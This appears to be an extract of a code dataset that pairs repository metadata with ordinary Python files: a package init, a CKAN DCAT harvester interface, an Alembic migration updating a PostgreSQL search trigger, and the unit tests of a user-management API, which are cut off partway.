68a230053198de1b689e262974947c4186ee1c49
|
[
"MIT"
] | 35
|
2018-08-16T17:16:11.000Z
|
2022-02-22T22:14:17.000Z
|
runner/__init__.py
|
YuhangSong/RBP
|
68a230053198de1b689e262974947c4186ee1c49
|
[
"MIT"
] | null | null | null |
runner/__init__.py
|
YuhangSong/RBP
|
68a230053198de1b689e262974947c4186ee1c49
|
[
"MIT"
] | 4
|
2019-05-28T19:17:39.000Z
|
2021-03-18T13:33:57.000Z
|
from runner.hopfield_runner import *
from runner.citation_runner import *
from runner.hypergrad_runner import *
| 28
| 37
| 0.839286
| 15
| 112
| 6.066667
| 0.4
| 0.32967
| 0.351648
| 0.483516
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.107143
| 112
| 3
| 38
| 37.333333
| 0.91
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| null | 0
| 0
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| 0
| 0
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| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
474073aaf00c564100fc1c0f97b35e619bc249fe
| 5,883
|
py
|
Python
|
ckan/ckanext-dcat/ckanext/dcat/interfaces.py
|
lorenzoeusepi77/ckan
|
3a620e9c81ba1750d12941c02184092d507f71df
|
[
"Apache-2.0"
] | null | null | null |
ckan/ckanext-dcat/ckanext/dcat/interfaces.py
|
lorenzoeusepi77/ckan
|
3a620e9c81ba1750d12941c02184092d507f71df
|
[
"Apache-2.0"
] | null | null | null |
ckan/ckanext-dcat/ckanext/dcat/interfaces.py
|
lorenzoeusepi77/ckan
|
3a620e9c81ba1750d12941c02184092d507f71df
|
[
"Apache-2.0"
] | null | null | null |
from ckan.plugins.interfaces import Interface
class IDCATRDFHarvester(Interface):
def before_download(self, url, harvest_job):
'''
Called just before the remote RDF file is downloaded
It returns a tuple with the url (which can be modified) and an
optional list of error messages.
If the url value evaluates to False the gather stage will be stop.
This extension point can be useful to validate the URL using an
external service.
:param url: The harvest source URL, ie the remote RDF file location
:type url: string
:param harvest_job: A ``HarvestJob`` domain object which contains a
reference to the harvest source
(``harvest_job.source``).
:type harvest_job: object
:returns: A tuple with two items:
* The url. If this is False the gather stage will stop.
* A list of error messages. These will get stored as gather
errors by the harvester
:rtype: tuple
'''
return url, []
def after_download(self, content, harvest_job):
'''
Called just after the remote RDF file has been downloaded
It returns a tuple with the content (which can be modified) and an
optional list of error messages.
If the content value evaluates to False the gather stage will stop.
This extension point can be useful to validate the file contents using
an external service.
:param content: The remote RDF file contents
:type content: string
:param harvest_job: A ``HarvestJob`` domain object which contains a
reference to the harvest source
(``harvest_job.source``).
:type harvest_job: object
:returns: A tuple with two items:
* The file content. If this is False the gather stage will
stop.
* A list of error messages. These will get stored as gather
errors by the harvester
:rtype: tuple
'''
return content, []
def before_update(self, harvest_object, dataset_dict, temp_dict):
'''
Called just before the ``package_update`` action.
It may be used to preprocess the dataset dict.
If the content of the dataset dict is emptied (i.e. set to ``None``),
the dataset will not be updated in CKAN, but simply ignored.
Implementations may store some temp values in temp_dict, that will be
then passed back in the ``after_update`` call.
:param harvest_object: A ``HarvestObject`` domain object.
:type harvest_job: object
:param dataset_dict: The dataset dict already parsed by the RDF parser
(and related plugins).
:type dataset_dict: dict
:param temp_dict: A dictionary, shared among all plugins, for storing
temp data. Such dict will be passed back in the
``after_update`` call.
:type temp_dict: dict
'''
pass
def after_update(self, harvest_object, dataset_dict, temp_dict):
'''
Called just after a successful ``package_update`` action has been
performed.
:param harvest_object: A ``HarvestObject`` domain object.
:type harvest_job: object
:param dataset_dict: The dataset dict that has just been stored into
the DB.
:type dataset_dict: dict
:param temp_dict: A dictionary, shared among all plugins, for storing
temp data.
:type temp_dict: dict
:returns: A string containing an error message, or None. If the error
string is not None, it will be saved as an import error,
and dataset importing will be rolled back,
:rtype: string
'''
return None
def before_create(self, harvest_object, dataset_dict, temp_dict):
'''
Called just before the ``package_create`` action.
It may be used to preprocess the dataset dict.
If the content of the dataset dict is emptied (i.e. set to ``None``),
the dataset will not be created in CKAN, but simply ignored.
Implementations may store some temp values in temp_dict, that will be
then passed back in the ``after_create`` call.
:param harvest_object: A ``HarvestObject`` domain object.
:type harvest_job: object
:param dataset_dict: The dataset dict already parsed by the RDF parser
(and related plugins).
:type dataset_dict: dict
:param temp_dict: A dictionary, shared among all plugins, for storing
temp data. Such dict will be passed back in the
``after_create`` call.
:type temp_dict: dict
'''
pass
def after_create(self, harvest_object, dataset_dict, temp_dict):
'''
Called just after a successful ``package_create`` action has been
performed.
:param harvest_object: A ``HarvestObject`` domain object.
:type harvest_job: object
:param dataset_dict: The dataset dict that has just been stored into
the DB.
:type dataset_dict: dict
:param temp_dict: A dictionary, shared among all plugins, for storing
temp data.
:type temp_dict: dict
:returns: A string containing an error message, or None. If the error
string is not None, it will be saved as an import error,
and dataset importing will be rolled back,
:rtype: string
'''
return None
| 38.960265
| 79
| 0.599694
| 738
| 5,883
| 4.699187
| 0.186992
| 0.063437
| 0.032295
| 0.034602
| 0.876586
| 0.861015
| 0.861015
| 0.83564
| 0.794694
| 0.794694
| 0
| 0
| 0.345232
| 5,883
| 150
| 80
| 39.22
| 0.900312
| 0.749278
| 0
| 0.285714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.428571
| false
| 0.142857
| 0.071429
| 0
| 0.857143
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 9
|
9a0b97228e4512d9ff0101969724a965b809bf61
| 2,641
|
py
|
Python
|
migrations/versions/4b2b7cde821f_add_org_name_to_search.py
|
Violet26/cfapi
|
c5af1ea54538d20ea1458b4eaf038a7d73fd042d
|
[
"MIT"
] | 75
|
2015-01-06T14:35:37.000Z
|
2021-11-21T16:11:51.000Z
|
migrations/versions/4b2b7cde821f_add_org_name_to_search.py
|
Violet26/cfapi
|
c5af1ea54538d20ea1458b4eaf038a7d73fd042d
|
[
"MIT"
] | 158
|
2015-01-05T22:42:23.000Z
|
2021-01-29T20:24:55.000Z
|
migrations/versions/4b2b7cde821f_add_org_name_to_search.py
|
Violet26/cfapi
|
c5af1ea54538d20ea1458b4eaf038a7d73fd042d
|
[
"MIT"
] | 56
|
2015-01-14T01:37:20.000Z
|
2021-04-30T17:47:11.000Z
|
""" Adds organization name to the project search tsv
Revision ID: 4b2b7cde821f
Revises: 15593ff6a15f
Create Date: 2015-11-30 17:21:56.928359
"""
# revision identifiers, used by Alembic.
revision = '4b2b7cde821f'
down_revision = '15593ff6a15f'
from alembic import op
import sqlalchemy as sa
def upgrade():
droptrigger = "DROP TRIGGER IF EXISTS tsvupdate_projects_trigger ON project"
droptriggerfunc = "DROP FUNCTION IF EXISTS project_search_trigger()"
createtriggerfunc = '''
CREATE FUNCTION project_search_trigger() RETURNS trigger AS $$
begin
new.tsv_body :=
setweight(to_tsvector('pg_catalog.english', coalesce(new.status,'')), 'A') ||
setweight(to_tsvector('pg_catalog.english', coalesce(new.tags,'')), 'A') ||
setweight(to_tsvector('pg_catalog.english', coalesce(new.name,'')), 'B') ||
setweight(to_tsvector('pg_catalog.english', coalesce(new.description,'')), 'B') ||
setweight(to_tsvector('pg_catalog.english', coalesce(new.languages,'')), 'A') ||
setweight(to_tsvector('pg_catalog.english', coalesce(new.organization_name,'')), 'A');
return new;
end
$$ LANGUAGE plpgsql;
'''
createtrigger = "CREATE TRIGGER tsvupdate_projects_trigger BEFORE INSERT OR UPDATE ON project FOR EACH ROW EXECUTE PROCEDURE project_search_trigger();"
op.execute(droptrigger)
op.execute(droptriggerfunc)
op.execute(createtriggerfunc)
op.execute(createtrigger)
def downgrade():
droptrigger = "DROP TRIGGER IF EXISTS tsvupdate_projects_trigger ON project"
droptriggerfunc = "DROP FUNCTION IF EXISTS project_search_trigger()"
createtriggerfunc = '''
CREATE FUNCTION project_search_trigger() RETURNS trigger AS $$
begin
new.tsv_body :=
setweight(to_tsvector('pg_catalog.english', coalesce(new.status,'')), 'A') ||
setweight(to_tsvector('pg_catalog.english', coalesce(new.tags,'')), 'A') ||
setweight(to_tsvector('pg_catalog.english', coalesce(new.name,'')), 'B') ||
setweight(to_tsvector('pg_catalog.english', coalesce(new.description,'')), 'B') ||
setweight(to_tsvector('pg_catalog.english', coalesce(new.languages,'')), 'A');
return new;
end
$$ LANGUAGE plpgsql;
'''
createtrigger = "CREATE TRIGGER tsvupdate_projects_trigger BEFORE INSERT OR UPDATE ON project FOR EACH ROW EXECUTE PROCEDURE project_search_trigger();"
op.execute(droptrigger)
op.execute(droptriggerfunc)
op.execute(createtriggerfunc)
op.execute(createtrigger)
| 43.295082
| 155
| 0.675502
| 291
| 2,641
| 5.972509
| 0.264605
| 0.06962
| 0.120253
| 0.132911
| 0.847526
| 0.847526
| 0.847526
| 0.847526
| 0.847526
| 0.821059
| 0
| 0.02277
| 0.201817
| 2,641
| 60
| 156
| 44.016667
| 0.801708
| 0.06702
| 0
| 0.808511
| 0
| 0
| 0.769043
| 0.414257
| 0
| 0
| 0
| 0
| 0
| 1
| 0.042553
| false
| 0
| 0.042553
| 0
| 0.12766
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
9a3628e375ee68f228a4357704e89d66411fe580
| 48,170
|
py
|
Python
|
test/test_users.py
|
jajimenez/notelist
|
5c4259126f40379cc31af6cde8713409e77c1d0b
|
[
"MIT"
] | 1
|
2021-06-01T14:04:08.000Z
|
2021-06-01T14:04:08.000Z
|
test/test_users.py
|
jajimenez/notelist
|
5c4259126f40379cc31af6cde8713409e77c1d0b
|
[
"MIT"
] | null | null | null |
test/test_users.py
|
jajimenez/notelist
|
5c4259126f40379cc31af6cde8713409e77c1d0b
|
[
"MIT"
] | null | null | null |
"""User resources unit tests."""
import unittest
import common
from notelist.tools import get_uuid
from notelist.responses import (
METHOD_NOT_ALLOWED, MISSING_TOKEN, INVALID_TOKEN,
NOT_FRESH_TOKEN, USER_UNAUTHORIZED, OK, ERROR_METHOD_NOT_ALLOWED,
ERROR_MISSING_TOKEN, ERROR_INVALID_TOKEN, ERROR_NOT_FRESH_TOKEN,
ERROR_UNAUTHORIZED_USER, ERROR_VALIDATION, ERROR_ITEM_EXISTS,
ERROR_ITEM_NOT_FOUND)
from notelist.views.users import (
RETRIEVED_N, RETRIEVED, CREATED, UPDATED, DELETED, EXISTS, NOT_FOUND)
class UserListTestCase(common.BaseTestCase):
"""User List resource unit tests."""
def test_get(self):
"""Test the Get method of the User List view.
This test logs in as an administrator user and then tries to get the
list of users, which should work.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Get list
headers = {"Authorization": f"Bearer {access_token}"}
r = self.client.get("/users/users", headers=headers)
# Check status code
self.assertEqual(r.status_code, 200)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], RETRIEVED_N.format(3))
self.assertEqual(r.json[keys[1]], OK)
# Check result
self.assertIn("result", r.json)
users = r.json["result"]
self.assertEqual(type(users), list)
# Check list
self.assertEqual(len(users), 3)
for u in users:
self.assertEqual(type(u), dict)
for i in ("id", "username", "admin", "enabled", "name"):
self.assertIn(i, u)
for i in ("password", "email"):
self.assertNotIn(i, u)
for i, u in enumerate((self.admin, self.reg1, self.reg2)):
self.assertEqual(users[i]["id"], u["id"])
self.assertEqual(users[i]["username"], u["username"])
def test_get_missing_access_token(self):
"""Test the Post method of the User List view.
This test tries to get the list of users without providing an access
token, which shouldn't work.
"""
# Get list without providing the access token
r = self.client.get("/users/users")
# Check status code
self.assertEqual(r.status_code, 401)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], MISSING_TOKEN)
self.assertEqual(r.json[keys[1]], ERROR_MISSING_TOKEN)
def test_get_invalid_access_token(self):
"""Test the Post method of the User List view.
This test tries to get the list of users providing an invalid access
token, which shouldn't work.
"""
# Get list providing an invalid access token
headers = {"Authorization": "Bearer 1234"}
r = self.client.get("/users/users", headers=headers)
# Check status code
self.assertEqual(r.status_code, 422)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], INVALID_TOKEN)
self.assertEqual(r.json[keys[1]], ERROR_INVALID_TOKEN)
def test_get_unauthorized_user(self):
"""Test the Post method of the User List view.
This test logs in as a not administrator user and then tries to get the
list of users, which shouldn't work.
"""
# Log in
data = {
"username": self.reg1["username"],
"password": self.reg1["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Get list
headers = {"Authorization": f"Bearer {access_token}"}
r = self.client.get("/users/users", headers=headers)
# Check status code
self.assertEqual(r.status_code, 403)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], USER_UNAUTHORIZED)
self.assertEqual(r.json[keys[1]], ERROR_UNAUTHORIZED_USER)
def test_put(self):
"""Test the Put method of the User List view.
This test tries to call the Put method, which shouldn't work.
"""
r = self.client.put("/users/users")
# Check status code
self.assertEqual(r.status_code, 405)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], METHOD_NOT_ALLOWED)
self.assertEqual(r.json[keys[1]], ERROR_METHOD_NOT_ALLOWED)
def test_delete(self):
"""Test the Delete method of the User List view.
This test tries to call the Delete method, which shouldn't work.
"""
r = self.client.delete("/users/user")
# Check status code
self.assertEqual(r.status_code, 405)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], METHOD_NOT_ALLOWED)
self.assertEqual(r.json[keys[1]], ERROR_METHOD_NOT_ALLOWED)
class UserTestCase(common.BaseTestCase):
"""User resource unit tests."""
def test_get_admin(self):
"""Test the Get method of the User view.
This test logs in as an administrator user and then tries to get its
data and the data of another existing user, which should work in both
cases.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Get user data
headers = {"Authorization": f"Bearer {access_token}"}
r = self.client.get(f'/users/user/{self.admin["id"]}', headers=headers)
# Check status code
self.assertEqual(r.status_code, 200)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], RETRIEVED)
self.assertEqual(r.json[keys[1]], OK)
# Check result
self.assertIn("result", r.json)
user = r.json["result"]
self.assertEqual(type(user), dict)
# Check user
for i in ("id", "username", "admin", "enabled", "name"):
self.assertIn(i, user)
for i in ("password", "email"):
self.assertNotIn(i, user)
self.assertEqual(user["id"], self.admin["id"])
self.assertEqual(user["username"], self.admin["username"])
self.assertTrue(user["admin"])
self.assertTrue(user["enabled"])
self.assertEqual(user["name"], self.admin["name"])
# Get another user's data
r = self.client.get(f'/users/user/{self.reg1["id"]}', headers=headers)
# Check status code
self.assertEqual(r.status_code, 200)
# Check result
self.assertIn("result", r.json)
user = r.json["result"]
self.assertEqual(type(user), dict)
# Check user
for i in ("id", "username", "admin", "enabled", "name"):
self.assertIn(i, user)
for i in ("password", "email"):
self.assertNotIn(i, user)
self.assertEqual(user["id"], self.reg1["id"])
self.assertEqual(user["username"], self.reg1["username"])
self.assertFalse(user["admin"])
self.assertTrue(user["enabled"])
self.assertEqual(user["name"], self.reg1["name"])
def test_get_not_admin(self):
"""Test the Get method of the User view.
This test logs in as a not administrator user and then tries to get its
data, which should work.
"""
# Log in
data = {
"username": self.reg1["username"],
"password": self.reg1["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Get user data
headers = {"Authorization": f"Bearer {access_token}"}
r = self.client.get(f'/users/user/{self.reg1["id"]}', headers=headers)
# Check status code
self.assertEqual(r.status_code, 200)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], RETRIEVED)
self.assertEqual(r.json[keys[1]], OK)
# Check result
self.assertIn("result", r.json)
user = r.json["result"]
self.assertEqual(type(user), dict)
# Check user
for i in ("id", "username", "admin", "enabled", "name"):
self.assertIn(i, user)
for i in ("password", "email"):
self.assertNotIn(i, user)
self.assertEqual(user["id"], self.reg1["id"])
self.assertEqual(user["username"], self.reg1["username"])
self.assertFalse(user["admin"])
self.assertTrue(user["enabled"])
self.assertEqual(user["name"], self.reg1["name"])
def test_get_missing_access_token(self):
"""Test the Get method of the User view.
This test tries to get the data of a user without providing the access
token, which shouldn't work.
"""
# Get the data of the user with ID 1 (which doesn't exist)
r = self.client.get("/users/user/1")
# Check status code
self.assertEqual(r.status_code, 401)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], MISSING_TOKEN)
self.assertEqual(r.json[keys[1]], ERROR_MISSING_TOKEN)
def test_get_invalid_access_token(self):
"""Test the Get method of the User view.
This test tries to get the data of some user providing an invalid
access token, which shouldn't work.
"""
# Get the user providing an invalid access token
url = f'/users/user/{self.reg1["id"]}'
headers = {"Authorization": "Bearer 1234"}
r = self.client.get(url, headers=headers)
# Check status code
self.assertEqual(r.status_code, 422)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], INVALID_TOKEN)
self.assertEqual(r.json[keys[1]], ERROR_INVALID_TOKEN)
def test_get_unauthorized_user(self):
"""Test the Get method of the User view.
This test logs in as a not administrator user and then tries to get the
data of another user, which shouldn't work.
"""
# Log in
data = {
"username": self.reg1["username"],
"password": self.reg1["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Get another user's data
url = f'/users/user/{self.reg2["id"]}'
headers = {"Authorization": f"Bearer {access_token}"}
r = self.client.get(url, headers=headers)
# Check status code
self.assertEqual(r.status_code, 403)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], USER_UNAUTHORIZED)
self.assertEqual(r.json[keys[1]], ERROR_UNAUTHORIZED_USER)
def test_get_user_not_found(self):
"""Test the Get method of the User view.
This test logs in as an administrator user and then tries to get the
data of some user that doesn't exist, which shouldn't work.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Get the data of a user with an ID that doesn't exist
headers = {"Authorization": f"Bearer {access_token}"}
r = self.client.get(f"/users/user/{get_uuid()}", headers=headers)
# Check status code
self.assertEqual(r.status_code, 404)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], NOT_FOUND)
self.assertEqual(r.json[keys[1]], ERROR_ITEM_NOT_FOUND)
def test_post(self):
"""Test the Post method of the User view.
This test logs in as an administrator user and then tries to create a
new user, which should work.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Create a user
headers = {"Authorization": f"Bearer {access_token}"}
u = {
"username": "test",
"password": "test_password",
"admin": False,
"enabled": True,
"name": "Test"}
r = self.client.post("/users/user", headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 201)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], CREATED)
self.assertEqual(r.json[keys[1]], OK)
# Check result
self.assertIn("result", r.json)
result = r.json["result"]
self.assertIn("id", result)
user_id = result["id"]
self.assertEqual(type(user_id), str)
# Get user data
url = f"/users/user/{user_id}"
r = self.client.get(url, headers=headers, json=u)
user = r.json["result"]
# Check data
for i in ("id", "username", "admin", "enabled", "name"):
self.assertIn(i, user)
if i != "id":
self.assertEqual(user[i], u[i])
for i in ("password", "email"):
self.assertNotIn(i, user)
def test_post_missing_access_token(self):
"""Test the Post method of the User view.
This test tries to create a new user without providing the access
token, which shouldn't work.
"""
# Create a user without providing the access token
u = {"username": "test", "password": "test_password"}
r = self.client.post("/users/user", json=u)
# Check status code
self.assertEqual(r.status_code, 401)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], MISSING_TOKEN)
self.assertEqual(r.json[keys[1]], ERROR_MISSING_TOKEN)
def test_post_invalid_access_token(self):
"""Test the Post method of the User view.
This test tries to create a new user providing an invalid access token,
which shouldn't work.
"""
# Create a user providing an invalid access token
headers = {"Authorization": "Bearer 1234"}
u = {"username": "test", "password": "test_password"}
r = self.client.post("/users/user", headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 422)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], INVALID_TOKEN)
self.assertEqual(r.json[keys[1]], ERROR_INVALID_TOKEN)
def test_post_unauthorized_user(self):
"""Test the Post method of the User view.
This test logs in as a not administrator user and then tries to create
a new user, which shouldn't work.
"""
# Log in
data = {
"username": self.reg1["username"],
"password": self.reg1["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Create user
headers = {"Authorization": f"Bearer {access_token}"}
u = {"username": "test", "password": "test_password"}
r = self.client.post("/users/user", headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 403)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], USER_UNAUTHORIZED)
self.assertEqual(r.json[keys[1]], ERROR_UNAUTHORIZED_USER)
def test_post_missing_fields(self):
"""Test the Post method of the User view.
This test tries to create new users with some mandatory field missing,
which shouldn't work.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Create a user without its username
headers = {"Authorization": f"Bearer {access_token}"}
u = {"password": "test_password"}
r1 = self.client.post("/users/user", headers=headers, json=u)
# Create a user without its password
u = {"username": "test"}
r2 = self.client.post("/users/user", headers=headers, json=u)
# Check status codes and messages
keys = ("message", "message_type")
for r in (r1, r2):
# Status code
self.assertEqual(r.status_code, 400)
# Message
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[1]], ERROR_VALIDATION)
def test_post_password_length(self):
"""Test the Post method of the User view.
This test tries to create a new user with a password that has less than
8 characters and another user with a password that has more than 100
characters, which shouldn't work in either case.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Create users
headers = {"Authorization": f"Bearer {access_token}"}
keys = ("message", "message_type")
for p in ("test", "test" * 100):
u = {"username": "test", "password": p}
r = self.client.post("/users/user", headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 400)
# Check message
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[1]], ERROR_VALIDATION)
def test_post_invalid_fields(self):
"""Test the Post method of the User view.
This test tries to create a new user providing some invalid/unexpected
field, which shouldn't work.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Create a user providing an invalid field ("invalid_field")
headers = {"Authorization": f"Bearer {access_token}"}
u = {
"username": "test_user",
"password": "test_password",
"invalid_field": "1234"}
r = self.client.post("/users/user", headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 400)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[1]], ERROR_VALIDATION)
def test_post_user_exists(self):
"""Test the Post method of the User view.
This test tries to create a new user with the same username of another
user, which shouldn't work.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Create user
headers = {"Authorization": f"Bearer {access_token}"}
u = {"username": self.reg1["username"], "password": "test_password"}
r = self.client.post("/users/user", headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 400)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], EXISTS)
self.assertEqual(r.json[keys[1]], ERROR_ITEM_EXISTS)
def test_put_new(self):
"""Test the Put method of the User view.
This test logs in as an administrator user and then tries to create a
new user, which should work.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Create a user
headers = {"Authorization": f"Bearer {access_token}"}
u = {
"username": "test",
"password": "test_password",
"admin": False,
"enabled": True,
"name": "Test"}
r = self.client.put("/users/user", headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 201)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], CREATED)
self.assertEqual(r.json[keys[1]], OK)
# Check result
self.assertIn("result", r.json)
result = r.json["result"]
self.assertIn("id", result)
user_id = result["id"]
self.assertEqual(type(user_id), str)
# Get user data
r = self.client.get(f"/users/user/{user_id}", headers=headers, json=u)
# Check status code
self.assertEqual(r.status_code, 200)
# Check result
self.assertIn("result", r.json)
user = r.json["result"]
self.assertEqual(type(user), dict)
# Check data
for i in ("id", "username", "admin", "enabled", "name"):
self.assertIn(i, user)
if i != "id":
self.assertEqual(user[i], u[i])
for i in ("password", "email"):
self.assertNotIn(i, user)
def test_put_edit_admin(self):
"""Test the Put method of the User view.
This test logs in as an administrator user and then tries to edit
itself and another user, which should work.
"""
# Log in
data = {
"username": self.admin["username"],
"password": self.admin["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Edit the user fields
headers = {"Authorization": f"Bearer {access_token}"}
new_user = {
"username": self.admin["username"],
"password": "test_password",
"admin": True,
"enabled": True,
"name": "Admin 2"}
url = f'/users/user/{self.admin["id"]}'
r = self.client.put(url, headers=headers, json=new_user)
# Check status code
self.assertEqual(r.status_code, 200)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], UPDATED)
self.assertEqual(r.json[keys[1]], OK)
# Get user data
r = self.client.get(f'/users/user/{self.admin["id"]}', headers=headers)
user = r.json["result"]
# Check data
self.assertEqual(len(user), 7)
for i in (
"id", "username", "admin", "enabled", "name", "created",
"last_modified"
):
self.assertIn(i, user)
if i not in ("id", "username", "created", "last_modified"):
self.assertEqual(user[i], new_user[i])
for i in ("password", "email"):
self.assertNotIn(i, user)
self.assertEqual(user["id"], self.admin["id"])
self.assertEqual(user["username"], self.admin["username"])
# Edit another user
new_user = {
"username": "test2",
"password": "test_password_2",
"admin": True,
"enabled": True,
"name": "Test 2"}
url = f'/users/user/{self.reg1["id"]}'
r = self.client.put(url, headers=headers, json=new_user)
# Check status code
self.assertEqual(r.status_code, 200)
# Check message
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], UPDATED)
self.assertEqual(r.json[keys[1]], OK)
# Get user data
r = self.client.get(f'/users/user/{self.reg1["id"]}', headers=headers)
user = r.json["result"]
# Check data
self.assertEqual(len(user), 7)
for i in (
"id", "username", "admin", "enabled", "name", "created",
"last_modified"
):
self.assertIn(i, user)
if i not in ("id", "created", "last_modified"):
self.assertEqual(user[i], new_user[i])
for i in ("password", "email"):
self.assertNotIn(i, user)
self.assertEqual(user["id"], self.reg1["id"])
def test_put_edit_not_admin(self):
"""Test the Put method of the User view.
This test logs in as a not administrator user and then tries to edit
itself, which should work.
"""
# Log in
data = {
"username": self.reg1["username"],
"password": self.reg1["password"]}
r = self.client.post("/auth/login", json=data)
access_token = r.json["result"]["access_token"]
# Edit user
headers = {"Authorization": f"Bearer {access_token}"}
new_user = {
"password": "test_password_2",
"name": "Test 2"}
url = f'/users/user/{self.reg1["id"]}'
r = self.client.put(url, headers=headers, json=new_user)
# Check status code
self.assertEqual(r.status_code, 200)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], UPDATED)
self.assertEqual(r.json[keys[1]], OK)
# Get user data
r = self.client.get(f'/users/user/{self.reg1["id"]}', headers=headers)
user = r.json["result"]
# Check data
self.assertEqual(len(user), 7)
for i in (
"id", "username", "admin", "enabled", "name", "created",
"last_modified"
):
self.assertIn(i, user)
for i in ("password", "email"):
self.assertNotIn(i, user)
self.assertEqual(user["id"], self.reg1["id"])
self.assertEqual(user["username"], self.reg1["username"])
self.assertFalse(user["admin"])
self.assertTrue(user["enabled"])
self.assertEqual(user["name"], new_user["name"])
# Log in with the old password
data = {
"username": self.reg1["username"],
"password": self.reg1["password"]}
r = self.client.post("/auth/login", json=data)
# Check status code
self.assertEqual(r.status_code, 401)
# Log in with the new password
data = {
"username": self.reg1["username"],
"password": new_user["password"]}
r = self.client.post("/auth/login", json=data)
# Check status code
self.assertEqual(r.status_code, 200)
def test_put_new_missing_access_token(self):
"""Test the Put method of the User view.
This test tries to create a new user without providing the access
token, which shouldn't work.
"""
# Create a user without providing the access token
u = {"username": "test", "password": "test_password"}
r = self.client.put("/users/user", json=u)
# Check status code
self.assertEqual(r.status_code, 401)
# Check message
keys = ("message", "message_type")
for i in keys:
self.assertIn(i, r.json)
self.assertEqual(r.json[keys[0]], MISSING_TOKEN)
